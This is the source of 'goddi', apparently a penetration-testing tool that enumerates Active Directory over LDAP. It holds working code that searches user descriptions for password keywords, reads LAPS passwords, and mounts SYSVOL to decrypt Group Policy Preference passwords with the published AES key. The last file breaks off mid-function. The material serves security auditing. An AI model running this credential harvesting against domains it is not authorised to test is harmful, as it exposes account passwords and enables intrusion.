├── .gitignore ├── LICENSE ├── README.md ├── ddi ├── conn.go ├── gpp_unix.go ├── gpp_win.go ├── helper.go ├── ldap.go └── xml.go └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # generated directories 15 | csv 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | goddi is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2018, NetSPI 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are met: 10 | 11 | * Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | 14 | * Redistributions in binary form must reproduce the above copyright notice, 15 | this list of conditions and the following disclaimer in the documentation 16 | and/or other materials provided with the distribution. 17 | 18 | * Neither the name of goddi nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ARCHIVE NOTE 2 | Project is no longer actively maintained. 3 | 4 | # goddi - Go dump domain info 5 | 6 | [![licence badge]][licence] 7 | [![GitHub release](https://img.shields.io/github/release/NetSPI/goddi.svg?style=flat-square)](https://github.com/NetSPI/goddi/releases/latest) 8 | [![Go Report Card](https://goreportcard.com/badge/github.com/NetSPI/goddi?style=flat-square)](https://goreportcard.com/report/github.com/NetSPI/goddi) 9 | 10 | [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg?style=flat-square 11 | [licence]:https://github.com/NetSPI/goddi/blob/master/LICENSE 12 | 13 | Based on work from Scott Sutherland (@\_nullbind), Antti Rantasaari, Eric Gruber (@egru), Will Schroeder (@harmj0y), and the PowerView authors. 14 | 15 | ## Install 16 | 17 | Use the executables in the releases section. If you want to build it yourself, make sure that your go environment is setup according to the Go setup doc. The goddi package also uses the below package. 18 | 19 | go get gopkg.in/ldap.v2 20 | 21 | ### Windows 22 | 23 | Tested on Windows 10 and 8.1 (go1.10 windows/amd64). 24 | 25 | ### Linux 26 | 27 | Tested on Kali Linux (go1.10 linux/amd64). 28 | 29 | - umount, mount, and cifs-utils need to be installed for mapping a share for GetGPP 30 | ``` 31 | apt-get update 32 | apt-get install -y mount cifs-utils 33 | ``` 34 | - make sure nothing is mounted at /mnt/goddi/ 35 | - make sure to run with `sudo` 36 | 37 | ### Darwin 38 | 39 | Tested on Darwin 17.5.0 (go1.10.1 darwin/amd64) 40 | 41 | - make sure nothing is mounted at /mnt/goddi/ 42 | - make sure to run with `sudo` 43 | 44 | ## Run 45 | 46 | When run, will default to using TLS (tls.Client method) over 636. On Linux, make sure to run with `sudo`. 47 | 48 | - username: Target user. Required parameter. 49 | - password: Target user's password. Required parameter. 50 | - domain: Full domain name. Required parameter. 51 | - dc: DC to target. Can be either an IP or full hostname. Required parameter. 52 | - startTLS: Use to StartTLS over 389. 53 | - unsafe: Use for a plaintext connection. 54 | 55 | ``` 56 | PS C:\Users\Administrator\Desktop> .\godditest-windows-amd64.exe -username=testuser -password="testpass!" -domain="test.local" -dc="dc.test.local" -unsafe 57 | [i] Begin PLAINTEXT LDAP connection to 'dc.test.local'... 58 | [i] PLAINTEXT LDAP connection to 'dc.test.local' successful... 59 | [i] Begin BIND... 60 | [i] BIND with 'testuser' successful... 61 | [i] Begin dump domain info... 62 | [i] Domain Trusts: 1 found 63 | [i] Domain Controllers: 1 found 64 | [i] Users: 12 found 65 | [*] Warning: keyword 'pass' found! 66 | [*] Warning: keyword 'fall' found! 67 | [i] Domain Admins: 4 users found 68 | [i] Enterprise Admins: 1 users found 69 | [i] Forest Admins: 0 users found 70 | [i] Locked Users: 0 found 71 | [i] Disabled Users: 2 found 72 | [i] Groups: 45 found 73 | [i] Domain Sites: 1 found 74 | [i] Domain Subnets: 0 found 75 | [i] Domain Computers: 17 found 76 | [i] Deligated Users: 0 found 77 | [i] Users with passwords not set to expire: 6 found 78 | [i] Machine Accounts with passwords older than 45 days: 18 found 79 | [i] Domain OUs: 8 found 80 | [i] Domain Account Policy found 81 | [i] Domain GPOs: 7 found 82 | [i] FSMO Roles: 3 found 83 | [i] SPNs: 122 found 84 | [i] LAPS passwords: 0 found 85 | [i] GPP enumeration starting. This can take a bit... 86 | [i] GPP passwords: 7 found 87 | [i] CSVs written to 'csv' directory in C:\Users\Administrator\Desktop 88 | [i] Execution took 1.4217256s... 89 | [i] Exiting... 90 | ``` 91 | 92 | ## Functionality 93 | 94 | StartTLS and TLS (tls.Client func) connections supported. Connections over TLS are default. All output goes to CSVs and are created in /csv/ in the current working directory. Dumps: 95 | 96 | - Domain users. Also searches Description for keywords and prints to a seperate csv ex. "Password" was found in the domain user description. 97 | - Users in priveleged user groups (DA, EA, FA). 98 | - Users with passwords not set to expire. 99 | - User accounts that have been locked or disabled. 100 | - Machine accounts with passwords older than 45 days. 101 | - Domain Computers. 102 | - Domain Controllers. 103 | - Sites and Subnets. 104 | - SPNs and includes csv flag if domain admin (a flag to note SPNs that are DAs in the SPN CSV output). 105 | - Trusted domain relationships. 106 | - Domain Groups. 107 | - Domain OUs. 108 | - Domain Account Policy. 109 | - Domain deligation users. 110 | - Domain GPOs. 111 | - Domain FSMO roles. 112 | - LAPS passwords. 113 | - GPP passwords. On Windows, defaults to mapping Q. If used, will try another mapping until success R, S, etc... On Linux, /mnt/goddi is used. 114 | 115 | ## Roadmap 116 | 117 | - Add support for running from current user context on Windows. Automatically get current domain and run in current user context. 118 | - Add robust error handling for GetGPP (net use and mount) 119 | - Improve XML parsing for GetGPP 120 | 121 | ## Known Issues 122 | 123 | - Execution can fail at GetGPP if there are errors mapping a share or mounting /mnt/goddi. If goddi fails during GetGPP do the following checks. 124 | - Windows: check what shares are mounted with `net use`. If there is a share mounted to the target dc from goddi, remove it with `net use Q: /delete` where Q: is the problematic share. 125 | - Linux: check if /mnt/goddi exists. If something is mounted, use `umount /mnt/goddi`. Make sure goddi is run with sudo. 126 | 127 | ## References 128 | 129 | - Scott Sutherland (@\_nullbind) 130 | - Antti Rantasaari 131 | - Eric Gruber (@egru) 132 | - Will Schroeder (@harmj0y) 133 | - Karl Fosaaen (@kfosaaen) 134 | - @\_RastaMouse 135 | - Chris Campbell (@obscuresec) 136 | - Leon Teale (@LeonTeale) 137 | -------------------------------------------------------------------------------- /ddi/conn.go: -------------------------------------------------------------------------------- 1 | // Functions to handle ldap connections and bind 2 | 3 | package goddi 4 | 5 | import ( 6 | "crypto/tls" 7 | "fmt" 8 | "log" 9 | 10 | "gopkg.in/ldap.v2" 11 | ) 12 | 13 | // LdapInfo contains connection info 14 | type LdapInfo struct { 15 | LdapServer string 16 | LdapIP string 17 | LdapPort uint16 18 | LdapTLSPort uint16 19 | User string 20 | Usergpp string 21 | Pass string 22 | Domain string 23 | Conn *ldap.Conn 24 | Unsafe bool 25 | StartTLS bool 26 | } 27 | 28 | func dial(li *LdapInfo) { 29 | 30 | if li.Unsafe { 31 | 32 | fmt.Printf("[i] Begin PLAINTEXT LDAP connection to '%s' (%s)...\n", li.LdapServer, li.LdapIP) 33 | conn, err := ldap.Dial("tcp", fmt.Sprintf("%s:%d", li.LdapServer, li.LdapPort)) 34 | if err != nil { 35 | log.Fatal(err) 36 | } 37 | 38 | fmt.Printf("[i] PLAINTEXT LDAP connection to '%s' (%s) successful...\n", li.LdapServer, li.LdapIP) 39 | li.Conn = conn 40 | 41 | } else if li.StartTLS { 42 | 43 | fmt.Printf("[i] Begin PLAINTEXT LDAP connection to '%s' (%s)...\n", li.LdapServer, li.LdapIP) 44 | conn, err := ldap.Dial("tcp", fmt.Sprintf("%s:%d", li.LdapServer, li.LdapPort)) 45 | if err != nil { 46 | log.Fatal(err) 47 | } 48 | 49 | fmt.Printf("[i] PLAINTEXT LDAP connection to '%s' (%s) successful...\n[i] Upgrade to StartTLS connection...\n", li.LdapServer, li.LdapIP) 50 | 51 | err = conn.StartTLS(&tls.Config{ServerName: li.LdapServer}) 52 | if err != nil { 53 | log.Fatal(err) 54 | } 55 | fmt.Printf("[i] Upgrade to StartTLS connection successful...\n") 56 | li.Conn = conn 57 | 58 | } else { 59 | 60 | fmt.Printf("[i] Begin LDAP TLS connection to '%s' (%s)...\n", li.LdapServer, li.LdapIP) 61 | config := &tls.Config{ServerName: li.LdapServer} 62 | conn, err := ldap.DialTLS("tcp", fmt.Sprintf("%s:%d", li.LdapServer, li.LdapTLSPort), config) 63 | if err != nil { 64 | log.Fatal(err) 65 | } 66 | 67 | fmt.Printf("[i] LDAP TLS connection to '%s' (%s) successful...\n", li.LdapServer, li.LdapIP) 68 | li.Conn = conn 69 | } 70 | } 71 | 72 | // Connect authenticated bind to ldap connection 73 | func Connect(li *LdapInfo) { 74 | 75 | dial(li) 76 | fmt.Printf("[i] Begin BIND...\n") 77 | err := li.Conn.Bind(li.User, li.Pass) 78 | if err != nil { 79 | log.Fatal(err) 80 | } 81 | fmt.Printf("[i] BIND with '%s' successful...\n[i] Begin dump domain info...\n", li.User) 82 | } 83 | -------------------------------------------------------------------------------- /ddi/gpp_unix.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | 3 | package goddi 4 | 5 | import ( 6 | "fmt" 7 | "log" 8 | "os" 9 | "os/exec" 10 | "runtime" 11 | 12 | "gopkg.in/ldap.v2" 13 | ) 14 | 15 | // GetGPP grabs all GPP passwords 16 | // Reference: Scott Sutherland (@_nullbind), Chris Campbell (@obscuresec) 17 | // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 18 | func GetGPP(conn *ldap.Conn, baseDN string, dc string, user string, pass string) { 19 | 20 | fmt.Printf("[i] GPP enumeration starting. This can take a bit...\n") 21 | 22 | var filepaths = []string{ 23 | `/Machine/Preferences/Groups/Groups.xml`, 24 | `/User/Preferences/Groups/Groups.xml`, 25 | `/Machine/Preferences/Services/Services.xml`, 26 | `/User/Preferences/Services/Services.xml`, 27 | `/Machine/Preferences/Scheduledtasks/Scheduledtasks.xml`, 28 | `/User/Preferences/Scheduledtasks/Scheduledtasks.xml`, 29 | `/Machine/Preferences/DataSources/DataSources.xml`, 30 | `/User/Preferences/DataSources/DataSources.xml`, 31 | `/Machine/Preferences/Printers/Printers.xml`, 32 | `/User/Preferences/Printers/Printers.xml`, 33 | `/Machine/Preferences/Drives/Drives.xml`, 34 | `/User/Preferences/Drives/Drives.xml`} 35 | 36 | attributes := []string{ 37 | "filepath", 38 | "username", 39 | "cpassword", 40 | "password", 41 | "changed", 42 | "newname"} 43 | 44 | csv := [][]string{} 45 | csv = append(csv, attributes) 46 | mntpoint := "/mnt/goddi/" 47 | 48 | existMount(mntpoint) 49 | checkMount(mntpoint) 50 | 51 | var fsType, mntopt, address string 52 | switch os := runtime.GOOS; os { 53 | case "darwin": 54 | fsType = "smbfs" 55 | address = fmt.Sprintf(`//%s;%s:%s@%s/sysvol/`, baseDN, user, pass, dc) 56 | default: 57 | fsType = "cifs" 58 | address = fmt.Sprintf(`//%s/sysvol/`, dc) 59 | mntopt = fmt.Sprintf(`user=%s,password=%s,vers=3.0`, user, pass) 60 | } 61 | 62 | _, err := mountCmd(fsType, mntopt, address, mntpoint) 63 | 64 | if err != nil { 65 | log.Fatal(err) 66 | } 67 | 68 | list := getSubDirs(mntpoint) 69 | gpodomain := list[0] 70 | policypath := mntpoint + gpodomain + `/Policies` 71 | 72 | var xmlfiles = []string{} 73 | 74 | policydirs := getSubDirs(policypath) 75 | for _, subdir := range policydirs { 76 | for _, path := range filepaths { 77 | fullpath := policypath + `/` + subdir + path 78 | if _, err := os.Stat(fullpath); !os.IsNotExist(err) && !os.IsPermission(err) { 79 | xmlfiles = append(xmlfiles, fullpath) 80 | } 81 | } 82 | } 83 | 84 | csvptr := &csv 85 | for _, file := range xmlfiles { 86 | parseXML(file, csvptr) 87 | } 88 | 89 | fmt.Printf("[i] GPP passwords: %d found\n", len(csv)-1) 90 | writeCSV("Domain_Passwords_GPP", csv) 91 | 92 | _, errs := removeUnix(mntpoint) 93 | if errs != nil { 94 | log.Fatal(errs) 95 | } 96 | 97 | } 98 | 99 | // Check if mount exists 100 | func existMount(mntpoint string) { 101 | // if /mnt/goddi does not exist, mkdir the directory 102 | if _, err := os.Stat(mntpoint); os.IsNotExist(err) { 103 | os.Mkdir(mntpoint, os.ModePerm) 104 | fmt.Println("[i] /mnt/goddi mount point created...\n") 105 | } 106 | } 107 | 108 | // Check if mount point is mounted 109 | func checkMount(mntpoint string) { 110 | 111 | if len(getSubDirs(mntpoint)) != 0 { 112 | fmt.Printf("[i] /mnt/goddi mounted, unmounting now...\n") 113 | _, err := removeUnix(mntpoint) 114 | if err != nil { 115 | log.Fatal(err) 116 | } 117 | } 118 | } 119 | 120 | // mountCmd maps a unix/darwin share 121 | func mountCmd(fsType, option, address, mntpoint string) ([]byte, error) { 122 | return exec.Command("mount", "-t", fsType, "-o", option, address, mntpoint).CombinedOutput() 123 | } 124 | 125 | // Remove a unix share 126 | func removeUnix(mntpoint string) ([]byte, error) { 127 | return exec.Command("umount", mntpoint).CombinedOutput() 128 | } 129 | -------------------------------------------------------------------------------- /ddi/gpp_win.go: -------------------------------------------------------------------------------- 1 | // +build windows 2 | 3 | package goddi 4 | 5 | import ( 6 | "fmt" 7 | "log" 8 | "os" 9 | "os/exec" 10 | 11 | "gopkg.in/ldap.v2" 12 | ) 13 | 14 | // GetGPP grabs all GPP passwords 15 | // Reference: Scott Sutherland (@_nullbind), Chris Campbell (@obscuresec) 16 | // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 17 | func GetGPP(conn *ldap.Conn, domain string, dc string, user string, pass string) { 18 | 19 | fmt.Printf("[i] GPP enumeration starting. This can take a bit...\n") 20 | 21 | var filepaths = []string{ 22 | `\Machine\Preferences\Groups\Groups.xml`, 23 | `\User\Preferences\Groups\Groups.xml`, 24 | `\Machine\Preferences\Services\Services.xml`, 25 | `\User\Preferences\Services\Services.xml`, 26 | `\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml`, 27 | `\User\Preferences\Scheduledtasks\Scheduledtasks.xml`, 28 | `\Machine\Preferences\DataSources\DataSources.xml`, 29 | `\User\Preferences\DataSources\DataSources.xml`, 30 | `\Machine\Preferences\Printers\Printers.xml`, 31 | `\User\Preferences\Printers\Printers.xml`, 32 | `\Machine\Preferences\Drives\Drives.xml`, 33 | `\User\Preferences\Drives\Drives.xml`} 34 | 35 | attributes := []string{ 36 | "filepath", 37 | "username", 38 | "cpassword", 39 | "password", 40 | "changed", 41 | "newname"} 42 | 43 | csv := [][]string{} 44 | csv = append(csv, attributes) 45 | letter := "Q:" 46 | drive := letter + `\` 47 | 48 | letter, drive = existsDrive(letter, drive) 49 | 50 | _, err := mapDrive(letter, `\\`+dc+`\SYSVOL`, domain, user, pass) 51 | if err != nil { 52 | log.Fatal(err) 53 | } 54 | 55 | list := getSubDirs(drive) 56 | gpodomain := list[0] 57 | policypath := drive + gpodomain + `\Policies` 58 | 59 | var xmlfiles = []string{} 60 | 61 | policydirs := getSubDirs(policypath) 62 | for _, subdir := range policydirs { 63 | for _, path := range filepaths { 64 | fullpath := policypath + `\` + subdir + path 65 | if _, err := os.Stat(fullpath); !os.IsNotExist(err) && !os.IsPermission(err) { 66 | xmlfiles = append(xmlfiles, fullpath) 67 | } 68 | } 69 | } 70 | 71 | csvptr := &csv 72 | for _, file := range xmlfiles { 73 | parseXML(file, csvptr) 74 | } 75 | 76 | fmt.Printf("[i] GPP passwords: %d found\n", len(csv)-1) 77 | writeCSV("Domain_Passwords_GPP", csv) 78 | 79 | _, errs := removeDrive(letter) 80 | if errs != nil { 81 | log.Fatal(errs) 82 | } 83 | 84 | } 85 | 86 | // Helper function to check for a used drive and enumerate through available drives 87 | func existsDrive(letter string, drive string) (string, string) { 88 | alpha := []string{"Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 89 | "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", 90 | "N", "O", "P"} 91 | if _, err := os.Stat(drive); !os.IsNotExist(err) { 92 | for _, i := range alpha { 93 | letter = i + ":" 94 | drive = letter + `\` 95 | if _, err := os.Stat(drive); os.IsNotExist(err) { 96 | break 97 | } 98 | } 99 | } 100 | return letter, drive 101 | } 102 | 103 | // Map a drive 104 | func mapDrive(letter string, address string, domain string, user string, pw string) ([]byte, error) { 105 | return exec.Command("net", "use", letter, address, fmt.Sprintf(`/user:%s\%s`, domain, user), pw, "/P:YES").CombinedOutput() 106 | } 107 | 108 | // Remove a drive 109 | func removeDrive(letter string) ([]byte, error) { 110 | return exec.Command("net", "use", letter, "/delete").CombinedOutput() 111 | } 112 | -------------------------------------------------------------------------------- /ddi/helper.go: -------------------------------------------------------------------------------- 1 | // Helper functions 2 | 3 | package goddi 4 | 5 | import ( 6 | "crypto/aes" 7 | "crypto/cipher" 8 | "encoding/base64" 9 | "encoding/csv" 10 | "encoding/hex" 11 | "log" 12 | "math" 13 | "net" 14 | "os" 15 | "path/filepath" 16 | "strconv" 17 | "strings" 18 | "time" 19 | ) 20 | 21 | // WindowsEpochFiletime January 1, 1601 UTC (coordinate universal time) 22 | const WindowsEpochFiletime int64 = 116444736000000000 23 | 24 | // Writing output to csv 25 | // Reference: https://golangcode.com/write-data-to-a-csv-file/ 26 | func writeCSV(filename string, data [][]string) { 27 | 28 | cwd := GetCWD() 29 | csvdir := cwd + "/csv/" 30 | if _, err := os.Stat(csvdir); os.IsNotExist(err) { 31 | os.Mkdir(csvdir, os.ModePerm) 32 | } 33 | 34 | file, err := os.Create(csvdir + filename + ".csv") 35 | if err != nil { 36 | log.Fatal(err) 37 | } 38 | defer file.Close() 39 | 40 | writer := csv.NewWriter(file) 41 | defer writer.Flush() 42 | 43 | for _, value := range data { 44 | err := writer.Write(value) 45 | if err != nil { 46 | log.Fatal(err) 47 | } 48 | } 49 | } 50 | 51 | // Get sub directories 52 | func getSubDirs(drive string) []string { 53 | 54 | file, err := os.Open(drive) 55 | if err != nil { 56 | log.Fatal(err) 57 | } 58 | defer file.Close() 59 | 60 | list, _ := file.Readdirnames(0) 61 | return list 62 | } 63 | 64 | // GetCWD returns executable's current directory 65 | func GetCWD() string { 66 | 67 | exe, err := os.Executable() 68 | if err != nil { 69 | log.Fatal(err) 70 | } 71 | cwd := filepath.Dir(exe) 72 | return cwd 73 | } 74 | 75 | // Helper function to decrypt GPP cpassword 76 | // References: 77 | // https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py 78 | // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 79 | func decrypt(cpassword string) string { 80 | 81 | // 32 byte AES key 82 | // http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 83 | key := "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b" 84 | 85 | // hex decode the key 86 | decoded, _ := hex.DecodeString(key) 87 | block, err := aes.NewCipher(decoded) 88 | if err != nil { 89 | log.Fatal(err) 90 | } 91 | 92 | // add padding to base64 cpassword if necessary 93 | m := len(cpassword) % 4 94 | if m != 0 { 95 | cpassword += strings.Repeat("=", 4-m) 96 | } 97 | 98 | // base64 decode cpassword 99 | decodedpassword, errs := base64.StdEncoding.DecodeString(cpassword) 100 | if errs != nil { 101 | log.Fatal(errs) 102 | } 103 | 104 | if len(decodedpassword) < aes.BlockSize { 105 | log.Fatal("Cpassword block size too short...\n") 106 | } 107 | 108 | var iv = []byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00} 109 | 110 | if (len(decodedpassword) % aes.BlockSize) != 0 { 111 | log.Fatal("Blocksize must be multiple of decoded message length...\n") 112 | } 113 | 114 | cbc := cipher.NewCBCDecrypter(block, iv) 115 | cbc.CryptBlocks(decodedpassword, decodedpassword) 116 | 117 | // remove the padding at the end of password 118 | length := len(decodedpassword) 119 | unpadding := int(decodedpassword[length-1]) 120 | clear := decodedpassword[:(length - unpadding)] 121 | 122 | return string(clear) 123 | } 124 | 125 | // Converts ldap password age 126 | func convertPwdAge(pwdage string) string { 127 | 128 | f, _ := strconv.ParseFloat((strings.Replace(pwdage, "-", "", -1)), 64) 129 | age := ((f / (60 * 10000000)) / 60) / 24 130 | flr := math.Floor(age) 131 | s := strconv.Itoa(int(flr)) 132 | 133 | return s 134 | } 135 | 136 | // Convers ldap lockout 137 | func convertLockout(lockout string) string { 138 | 139 | i, _ := strconv.Atoi(strings.Replace(lockout, "-", "", -1)) 140 | age := i / (60 * 10000000) 141 | s := strconv.Itoa(age) 142 | 143 | return s 144 | } 145 | 146 | // Returns current time minus number of days ago in Windows Filetime 147 | // https://support.microsoft.com/en-us/help/167296/how-to-convert-a-unix-time-t-to-a-win32-filetime-or-systemtime 148 | func getWinFiletime(numdays int) string { 149 | 150 | win := time.Now().UTC().UnixNano() 151 | win /= 100 152 | win += WindowsEpochFiletime 153 | 154 | nanosago := 10000000 * 60 * 60 * 24 * int64(numdays) 155 | nanosago /= 100 156 | pasttime := win - nanosago 157 | 158 | str := strconv.FormatInt(pasttime, 10) 159 | return str 160 | } 161 | 162 | // https://stackoverflow.com/questions/24836044/case-insensitive-string-search-in-golang 163 | func caseInsensitiveContains(s, substr string) bool { 164 | return strings.Contains(strings.ToUpper(s), strings.ToUpper(substr)) 165 | } 166 | 167 | // ValidateIPHostname parses and returns hostname and ip for dc 168 | func ValidateIPHostname(ldapServer string, domain string) (string, string) { 169 | var ldapIP string 170 | if net.ParseIP(ldapServer) != nil { 171 | ldapIP = ldapServer 172 | hostnames, err := net.LookupAddr(ldapServer) 173 | if err != nil { 174 | log.Fatal(err) 175 | } 176 | for _, host := range hostnames { 177 | if caseInsensitiveContains(host, domain) { 178 | ldapServer = strings.Trim(host, ".") 179 | } 180 | } 181 | } else { 182 | addr, err := net.LookupIP(ldapServer) 183 | if err != nil { 184 | log.Fatal(err) 185 | } 186 | ldapIP = addr[0].String() 187 | } 188 | return ldapServer, ldapIP 189 | } 190 | -------------------------------------------------------------------------------- /ddi/ldap.go: -------------------------------------------------------------------------------- 1 | /* 2 | Package goddi contains ldap query functions 3 | https://msdn.microsoft.com/en-us/library/ms675090(v=vs.85).aspx 4 | https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx 5 | */ 6 | package goddi 7 | 8 | import ( 9 | "fmt" 10 | "gopkg.in/ldap.v2" 11 | "log" 12 | "strings" 13 | ) 14 | 15 | // GetUsers all domain users and checks for sensitive data in Description 16 | // Reference: Scott Sutherland (@_nullbind) 17 | func GetUsers(conn *ldap.Conn, baseDN string) { 18 | 19 | attributes := []string{ 20 | "sAMAccountName", 21 | "sAMAccountType", 22 | "userPrincipalName", 23 | "displayName", 24 | "givenName", 25 | "description", 26 | "adminCount", 27 | "homeDirectory", 28 | "memberOf"} 29 | keywords := []string{ 30 | "cred", 31 | "pass", 32 | "pw", 33 | "spring", 34 | "summer", 35 | "fall", 36 | "winter"} 37 | filter := "(&(objectCategory=person)(objectClass=user)(SamAccountName=*))" 38 | csv := [][]string{} 39 | csv = append(csv, attributes) 40 | warning := [][]string{} 41 | warning = append(warning, attributes) 42 | boolwarn := false 43 | 44 | sr := ldapSearch(baseDN, filter, attributes, conn) 45 | 46 | fmt.Printf("[i] Users: %d found\n", len(sr.Entries)) 47 | 48 | for _, entry := range sr.Entries { 49 | sam := entry.GetAttributeValue("sAMAccountName") 50 | samtype := entry.GetAttributeValue("sAMAccountType") 51 | upn := entry.GetAttributeValue("userPrincipalName") 52 | disname := entry.GetAttributeValue("displayName") 53 | given := entry.GetAttributeValue("givenName") 54 | desc := entry.GetAttributeValue("description") 55 | adm := entry.GetAttributeValue("adminCount") 56 | homedir := entry.GetAttributeValue("homeDirectory") 57 | mem := strings.Join(entry.GetAttributeValues("memberOf"), " ") 58 | data := []string{ 59 | sam, 60 | samtype, 61 | upn, 62 | disname, 63 | given, 64 | desc, 65 | adm, 66 | homedir, 67 | mem} 68 | 69 | csv = append(csv, data) 70 | 71 | for _, keyword := range keywords { 72 | if caseInsensitiveContains(desc, keyword) { 73 | fmt.Printf("\t[*] Warning: keyword '%s' found!\n", keyword) 74 | boolwarn = true 75 | warning = append(warning, data) 76 | } 77 | } 78 | } 79 | 80 | writeCSV("Domain_Users", csv) 81 | 82 | if boolwarn { 83 | writeCSV("POTENTIAL_SENSITIVE_DATA_FOUND", warning) 84 | } 85 | } 86 | 87 | // GetUsersLocked locked out users 88 | // Reference: Scott Sutherland (@_nullbind) 89 | func GetUsersLocked(conn *ldap.Conn, baseDN string) { 90 | 91 | attributes := []string{ 92 | "sAMAccountName", 93 | "sAMAccountType", 94 | "userPrincipalName", 95 | "displayName", 96 | "givenName", 97 | "description", 98 | "adminCount", 99 | "homeDirectory", 100 | "memberOf"} 101 | filter := "(&(sAMAccountType=805306368)(lockoutTime>=1))" 102 | csv := [][]string{} 103 | csv = append(csv, attributes) 104 | 105 | sr := ldapSearch(baseDN, filter, attributes, conn) 106 | 107 | fmt.Printf("[i] Locked Users: %d found\n", len(sr.Entries)) 108 | for _, entry := range sr.Entries { 109 | data := []string{ 110 | entry.GetAttributeValue("sAMAccountName"), 111 | entry.GetAttributeValue("sAMAccountType"), 112 | entry.GetAttributeValue("userPrincipalName"), 113 | entry.GetAttributeValue("displayName"), 114 | entry.GetAttributeValue("givenName"), 115 | entry.GetAttributeValue("description"), 116 | entry.GetAttributeValue("adminCount"), 117 | entry.GetAttributeValue("homeDirectory"), 118 | entry.GetAttributeValue("memberOf")} 119 | csv = append(csv, data) 120 | } 121 | writeCSV("Domain_Users_Locked", csv) 122 | } 123 | 124 | // GetUsersDisabled disabled users 125 | // Reference: Scott Sutherland (@_nullbind) 126 | func GetUsersDisabled(conn *ldap.Conn, baseDN string) { 127 | 128 | attributes := []string{ 129 | "sAMAccountName", 130 | "sAMAccountType", 131 | "userPrincipalName", 132 | "displayName", 133 | "givenName", 134 | "description", 135 | "adminCount", 136 | "homeDirectory", 137 | "memberOf"} 138 | filter := "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=2))" 139 | csv := [][]string{} 140 | csv = append(csv, attributes) 141 | 142 | sr := ldapSearch(baseDN, filter, attributes, conn) 143 | 144 | fmt.Printf("[i] Disabled Users: %d found\n", len(sr.Entries)) 145 | for _, entry := range sr.Entries { 146 | data := []string{ 147 | entry.GetAttributeValue("sAMAccountName"), 148 | entry.GetAttributeValue("sAMAccountType"), 149 | entry.GetAttributeValue("userPrincipalName"), 150 | entry.GetAttributeValue("displayName"), 151 | entry.GetAttributeValue("givenName"), 152 | entry.GetAttributeValue("description"), 153 | entry.GetAttributeValue("adminCount"), 154 | entry.GetAttributeValue("homeDirectory"), 155 | entry.GetAttributeValue("memberOf")} 156 | csv = append(csv, data) 157 | } 158 | writeCSV("Domain_Users_Disabled", csv) 159 | } 160 | 161 | // GetUsersDeligation domain delegation 162 | // Reference: Scott Sutherland (@_nullbind) 163 | func GetUsersDeligation(conn *ldap.Conn, baseDN string) { 164 | 165 | attributes := []string{ 166 | "sAMAccountName", 167 | "description", 168 | "whenCreated", 169 | "whenChanged", 170 | "msDS-AllowedToDelegateTo"} 171 | filter := "(&(samAccountType=805306368)(|(UserAccountControl:1.2.840.113556.1.4.803:=524288)(UserAccountControl:1.2.840.113556.1.4.803:=16777216)))" 172 | csv := [][]string{} 173 | csv = append(csv, attributes) 174 | 175 | sr := ldapSearch(baseDN, filter, attributes, conn) 176 | 177 | fmt.Printf("[i] Deligated Users: %d found\n", len(sr.Entries)) 178 | for _, entry := range sr.Entries { 179 | data := []string{ 180 | entry.GetAttributeValue("sAMAccountName"), 181 | entry.GetAttributeValue("description"), 182 | entry.GetAttributeValue("whenCreated"), 183 | entry.GetAttributeValue("whenChanged"), 184 | entry.GetAttributeValue("msDS-AllowedToDelegateTo")} 185 | csv = append(csv, data) 186 | } 187 | writeCSV("Domain_Users_Deligation", csv) 188 | } 189 | 190 | // GetUsersNoExpire users with passwords not set to expire 191 | // Reference: Scott Sutherland (@_nullbind) 192 | func GetUsersNoExpire(conn *ldap.Conn, baseDN string) { 193 | 194 | attributes := []string{ 195 | "sAMAccountName", 196 | "displayName", 197 | "description", 198 | 